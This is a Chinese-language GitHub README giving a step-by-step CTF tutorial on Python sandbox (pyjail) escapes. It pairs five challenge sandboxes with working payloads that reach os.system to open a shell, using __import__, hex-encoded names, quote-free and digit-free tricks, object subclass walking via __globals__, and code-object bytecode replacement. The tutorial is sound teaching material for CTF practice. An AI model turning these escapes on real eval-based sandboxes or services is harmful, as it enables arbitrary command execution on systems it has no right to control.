Skip to content

Luna5akura/BabyPyjail

Repository files navigation

超级简单的pyjail教程

00_入门

众所周知,python中可以使用exec()eval()来执行字符串形式的代码,比如:

eval('print("Hello world!(eval)")')
exec('print("Hello world!(exec)")')

则会产生以下的输出:

Hello world!(eval)
Hello world!(exec)

我们可以看一下两个函数的详细定义:

def eval(__source: str | bytes | CodeType,
         __globals: dict[str, Any] | None = ...,
         __locals: Mapping[str, Any] | None = ...) -> Any
def exec(__source: str | bytes | CodeType,
         __globals: dict[str, Any] | None = ...,
         __locals: Mapping[str, Any] | None = ...) -> Any

可以看到二者的形式都是代码,全局变量,局部变量的函数形式,二者区别在于执行表达式还是语句,比如def f():return 0 这样的语句eval就不可以执行。

另外,二者都可以通过(code1,code2)的形式执行多句代码

eval('(print("Hello world!(eval)"),print("Hello world second time!(eval)"),)')
exec('(print("Hello world!(exec)"),print("Hello world second time!(exec)"),)')

会产生以下的输出:

Hello world!(eval)
Hello world second time!(eval)
Hello world!(exec)
Hello world second time!(exec)

我们接下来以eval为例。


这里有个问题:如果不声明全局变量和环境变量的时候,这两个函数都会默认和外部代码共用全局变量,比如:

x = 'Hello world from outside!'
eval('print(x)')

会产生以下的输出:

Hello world from outside!

这就是问题所在,也就是说如果不加以限制,简单的使用eval函数会很容易出现漏洞,但如果有限制的话,还能否做到这一点呢?这也就是pyjail的来源。

我们的目标是打开shell,一般是通过各种办法执行os.system("/bin/sh") # 在windows系统中则是os.system("cmd")

我们可以看一下这道练习题:

_00_introduction.py

def check_eval():
    payload = input('try os.system("cmd")!')
    try:
        eval(payload, {}, {})
        print('SUCCESS!')
    except:

        print('ERROR!')
        pass


check_eval()

这是最简单的pyjail,可以看到代码里通过声明了全局变量和局部变量来使得payload无法访问源代码中的内容,这时我们还能成功吗?

答案是肯定的,因为在python中即使不引入任何外部包或者外部变量,依然有一类函数是通用的——内置函数/方法,也就是__builtins__里的函数/方法。

我们可以打印dir(__builtins__)来查看可以使用哪些:

['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BaseExceptionGroup',
 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError',
 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning',
 'EOFError', 'Ellipsis', 'EncodingWarning', 'EnvironmentError', 'Exception',
 'ExceptionGroup', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError',
 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning',
 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError',
 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError',
 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError',
 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError',
 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration',
 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit',
 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError',
 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning',
 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError',
 '__build_class__', '__debug__', '__doc__', '__import__', '__loader__',
 '__name__', '__package__', '__spec__', 'abs', 'aiter',
 'all', 'anext', 'any', 'ascii', 'bin',
 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable',
 'chr', 'classmethod', 'compile', 'complex', 'copyright',
 'credits', 'delattr', 'dict', 'dir', 'divmod',
 'enumerate', 'eval', 'exec', 'exit', 'filter',
 'float', 'format', 'frozenset', 'getattr', 'globals',
 'hasattr', 'hash', 'help', 'hex', 'id',
 'input', 'int', 'isinstance', 'issubclass', 'iter',
 'len', 'license', 'list', 'locals', 'map',
 'max', 'memoryview', 'min', 'next', 'object',
 'oct', 'open', 'ord', 'pow', 'print',
 'property', 'quit', 'range', 'repr', 'reversed',
 'round', 'set', 'setattr', 'slice', 'sorted',
 'staticmethod', 'str', 'sum', 'super', 'tuple',
 'type', 'vars', 'zip']

可以看到有非常多的函数可以使用。比如解决这道题的关键是__import__方法,当它被调用的时候相当于import关键字的使用,并且能够返回被引入的包,因此这道题可以被轻松解决:

payload = __import__("os").system("cmd")

01_一些使用内置方法的简单的绕过

假如题目设置了关键词审查,我们很自然的会想到使用编码解决,但问题在于编码是以字符的形式,无法作为代码的一部分出现,怎么办?

我们可以利用__getattribute__绕过:

__getattribute__提供了一个根据字符串找到对象的方法的函数,参考以下代码:

a = "test"

print(getattr.__doc__)

print(a.upper())

print(getattr(a,'upper')())

print(a.__getattribute__('upper')())

print(str.__getattribute__(a,"upper")())

以下是输出结果:

Get a named attribute from an object; getattr(x, 'y') is equivalent to x.y.
When a default argument is given, it is returned when the attribute doesn't
exist; without it, an exception is raised in that case.
TEST
TEST
TEST
TEST

可以看到以上代码具有相同的作用,因此下面的这道练习题可以被轻松解决:

_01_babypyjail

def check_eval():
    a = input('try os.system("cmd")!')
    if a.find('system') != -1:
        print('NO WAY!')
        return
    else:
        try:
            eval(a, {},{})
            print('SUCCESS!')
        except:
            print('ERROR!')
            pass


del __builtins__.__dict__['eval']
check_eval()

我们只需采取简单的绕过:

payload = __import__("os").__getattribute__('\x73\x79\x73\x74\x65\x6d')("cmd")

_02_morebabypyjail

如果有更多的限制呢?

def check_eval():
    a = input('try os.system("cmd")!')
    if a.find('\'') != -1 or a.find('\"') != -1 \
            or '[' in a \
            or ']' in a \
            or '{' in a \
            or '}' in a \
            or "\'" in a \
            or "\"" in a \
            or not all(0 <= ord(c) <= 255 for c in a) \
            or any(c.isdigit() for c in a):
        print('NO WAY!')
        return
    else:
        try:
            eval(a, {}, {})
            print('SUCCESS!')
        except:
            print('ERROR!')
            pass

可以看到这里面有许多限制,如何在原有的基础上进行改动?

禁止中括号:可以使用__getitem__的方式. # 来自官方代码: """ x.__getitem__(y) <==> x[y] """

禁止引号:可以使用list(dict(arg = 1))的方式,由于dict被直接调用时字典中的键可以作为参数传入无需加引号,而list又会将字典中的键转换为列表中的元素,再通过数字索引找到对应的元素来逃脱字符串审查。

(有些情况无法使用内置函数,可以通过python方法__doc__来获取一个对应类的字符串类型的帮助文档,通过对文档内容切片来拼成想要的字符串)

禁止数字:可以使用ord(x) - ord(y) 的形式,或者使用True,any(())等获取简单数字

综上所述,我们可以构造出这道题的payload:

payload = __import__(list(dict(os=True)).__getitem__(int(any(())))).system(list(dict(cmd=True)).__getitem__(int(any(()))))

03_nobuiltins

如果builtin被删除了呢?

假设我们通过 __builtins__.__dict__.clear() 删除了所有的内置函数,我们是否还有方法绕过?

答案是有的,由于python“万物皆对象”,所有子类都继承于object类型,因此我们理论上可以根据object对象直接执行对应子类在python层面定义的函数来绕过__builtins__的删除

具体实现如下:

  1. 获取object对象。我们通过__class__能够获得一个实例所属的类,在python中有__mro__的python方法,储存了一个包含自身的其所有父链的元组:
print(str.__mro__)

输出如下:

(<class 'str'>, <class 'object'>)

因此,我们可以使用 ''.__class__.__mro__[1]的方式来获取object对象。

  1. 获取os._wrap_close。python方法__subclassess__调用时返回一个包含其所有子类的列表,可以使用直接索引或者匿名函数查找关键词来找到_wrap_close的内置子类。

os._wrap_close模块是os的一个类,提供了对文件描述符的处理,提供了一个执行系统函数的途径,代码摘抄如下:

class _wrap_close:
    def __init__(self, stream, proc):
        self._stream = stream
        self._proc = proc

但我们需要的只是这个os模块。因此我们只需使用__init__创建一个_wrap_close的实例,就可以制造一个具有os环境的操作空间,

  1. 执行系统函数。 由于python中的全局变量可以通过__globals__获取,因此当我们创造了这个操作空间后,可以通过它获取到这个空间内的所有变量, 而os内部具有system的内置函数,因此我们可以之后直接通过使用system("cmd")来执行系统命令。

因此接下来这道题目可以被轻松解决:

_03_nobuiltins

backup_eval = eval
backup_input = input
backup_print = print

__builtins__.__dict__.clear()


def check_eval():
    a = backup_input('try os.system("cmd")!')
    try:
        backup_eval(a, {}, {})
        backup_print('SUCCESS!')
    except:
        backup_print('ERROR!')
        pass


check_eval()

代码总结如下:

payload = ''.__class__.__mro__[1].__subclasses__()[142].__init__.__globals__['system']('cmd')

04_codeobject

如果有额外的限制,比如nobuiltins环境下"s"的个数,那么之前的方法就失效了,还有什么利用python机制的方法吗?

答案是有的。既然python函数也是对象,那我能否通过函数的内部机制来凭空构造出一个函数?答案是可以的。例如我们之前如果定义函数为f

当我们调用函数时执行的代码由__code__定义:

def f():
    ''.__class__.__mro__[1].__subclasses__()[142].__init__.__globals__['system']('cmd')


print(f.__code__)
print(dir(f.__code__))

会得到以下结果,可以看到code也是一个对象:

<code object f at 0x00000281D42A2E20, file "D:\misc\Pycharm\ctf\pwn\pyjail\01.py", line 1>

['__class__', '__delattr__', '__dir__', '__doc__', '__eq__',
 '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__',
 '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__',
 '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__',
 '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_co_code_adaptive',
 '_varname_from_oparg', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts',
 'co_exceptiontable', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars',
 'co_kwonlyargcount', 'co_lines', 'co_linetable', 'co_lnotab', 'co_name',
 'co_names', 'co_nlocals', 'co_positions', 'co_posonlyargcount', 'co_qualname',
 'co_stacksize', 'co_varnames', 'replace']

既然code也是对象,我们是否可以对一个普通的函数修改其__code__的内容?答案显然是可以的,在code object和执行的函数主要相关的只有co_code,co_nlocals,co_varnames,co_names,co_consts,

只要我们将一个函数对象的__code__中的内容修改成这样,我们就可以获得一个相同功能的函数。那么该如何替换呢?

python中为__code__的修改提供了replace函数,能够返回一个修改过的code object,因此下面这道题就迎刃而解了:

_04_osujail

backup_eval = eval
backup_print = print
backup_input = input
backup_all = all
backup_ord = ord

def rescued_osu(input):
    return input.count('o') == 1 and input.count('s') == 1 and input.count('u') == 1

def caught_by_guards(input):
    return '[' in input \
        or ']' in input \
        or '{' in input\
        or '}' in input \
        or not backup_all(0 <= backup_ord(c) <= 255 for c in input)

globals()['__builtins__'].__dict__.clear()



input = backup_input()
if caught_by_guards(input) or not rescued_osu(input):
    backup_print('[You failed to break the jail]')
else:
    backup_print(backup_eval(input,{},{}))

这道题出自osuctf原题,可以看到使用了nobuiltins环境,限制ascii范围,禁止中括号大括号,限制osu出现次数的审查。因此我们尝试通过对__code__的重写构造一个具有和_03相同功能的函数:

首先查看原函数的字典情况:

def f():
    return ().__class__.__mro__[1].__subclasses__()[142].__init__.__globals__['system']('cmd')


print(f"code:{f.__code__.co_code}")
print(f"nlocals:{f.__code__.co_nlocals}")
print(f"varnames:{f.__code__.co_varnames}")
print(f"names:{f.__code__.co_names}")
print(f"consts:{f.__code__.co_consts}")

输出如下:

code:b'\x97\x00\x02\x00d\x01j\x00\x00\x00\x00\x00\x00\x00\x00\x00j\x01\x00\x00\x00\x00\x00\x00\x00\x00d\x02\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa6\x00\x00\x00\xab\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x03\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00j\x03\x00\x00\x00\x00\x00\x00\x00\x00j\x04\x00\x00\x00\x00\x00\x00\x00\x00d\x04\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x05\xa6\x01\x00\x00\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00S\x00'
nlocals:0
varnames:()
names:('__class__', '__mro__', '__subclasses__', '__init__', '__globals__')
consts:(None, '', 1, 142, 'system', 'cmd')

因此我们只需要构造一个函数,修改对应的属性即可。lambda提供了匿名函数的构造,可以使用f:=lambda:()将匿名函数赋值给f绕过def关键字的识别。

构造之后我们需要对f的__code__进行修改,__code__中提供了replace函数,通过传递参数可以返回更新后的code object,因此我们需要将这个返回的code object更新到f中。

我们使用python方法__setattr__来对__code__进行修改,它的作用相当于setattr()

根据上述思路初步构建的输入:

payload = (
    f:=lambda:(),
    f.__setattr__(
        "__code__",f.__code__.replace(
            co_consts=(None, '', 1, 142, 'system', 'cmd'),
            co_code=b'\x97\x00\x02\x00d\x01j\x00\x00\x00\x00\x00\x00\x00\x00\x00j\x01\x00\x00\x00\x00\x00\x00\x00\x00d\x02\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa6\x00\x00\x00\xab\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x03\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00j\x03\x00\x00\x00\x00\x00\x00\x00\x00j\x04\x00\x00\x00\x00\x00\x00\x00\x00d\x04\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x05\xa6\x01\x00\x00\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00S\x00',
            co_names=('__class__','__mro__','__subclasses__','__init__','__globals__')
        )
    ),
    f()
)

但是这里遇到了一个问题:写成这样后None可以被替换成0以减少o的个数,但依然有无法避免的o和s出现在replace函数的参数中,我们需要想办法将替换合并:

一个自然的想法是传入一个字典,因为字典的键可以是字符串,因此可以用编码绕过字符检查,但是{}也被禁止使用了,我们需要一个在nobuiltins环境下可以使用的字典。

实际上是可以做到的,__dict__为我们提供了内置字典,用于存储这个类(或者实例)的属性。用__dict__自带的函数update来存储内容即可。

最终构造如下:

payload = (
    f := lambda:(),
    f.__dict__.update((
        ('c\x6f_c\x6fn\x73t\x73',(0, '', 1, 142, '\x73y\x73tem', 'cmd')),
        ('c\x6f_name\x73', ('__cla\x73\x73__', '__mr\x6f__', '__\x73\x75bcla\x73\x73e\x73__', '__init__', '__gl\x6fbal\x73__')),
        ('c\x6f_c\x6fde',b'\x97\x00\x02\x00d\x01j\x00\x00\x00\x00\x00\x00\x00\x00\x00j\x01\x00\x00\x00\x00\x00\x00\x00\x00d\x02\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa6\x00\x00\x00\xab\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x03\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00j\x03\x00\x00\x00\x00\x00\x00\x00\x00j\x04\x00\x00\x00\x00\x00\x00\x00\x00d\x04\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x05\xa6\x01\x00\x00\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00S\x00')
    )),
    f.__setattr__('__c\x6fde__', f.__code__.replace(**f.__dict__)),
    f()
)

我们写成一行即可输入:

payload = (f := lambda:(),f.__dict__.update((('c\x6f_c\x6fn\x73t\x73',(0, '', 1, 142, '\x73y\x73tem', 'cmd')),('c\x6f_name\x73', ('__cla\x73\x73__', '__mr\x6f__', '__\x73\x75bcla\x73\x73e\x73__', '__init__', '__gl\x6fbal\x73__')),('c\x6f_c\x6fde',b'\x97\x00\x02\x00d\x01j\x00\x00\x00\x00\x00\x00\x00\x00\x00j\x01\x00\x00\x00\x00\x00\x00\x00\x00d\x02\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa6\x00\x00\x00\xab\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x03\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00j\x03\x00\x00\x00\x00\x00\x00\x00\x00j\x04\x00\x00\x00\x00\x00\x00\x00\x00d\x04\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x05\xa6\x01\x00\x00\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00S\x00'))),f.__setattr__('__c\x6fde__', f.__code__.replace(**f.__dict__)),f())

About

A brief introduction for pyjail

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages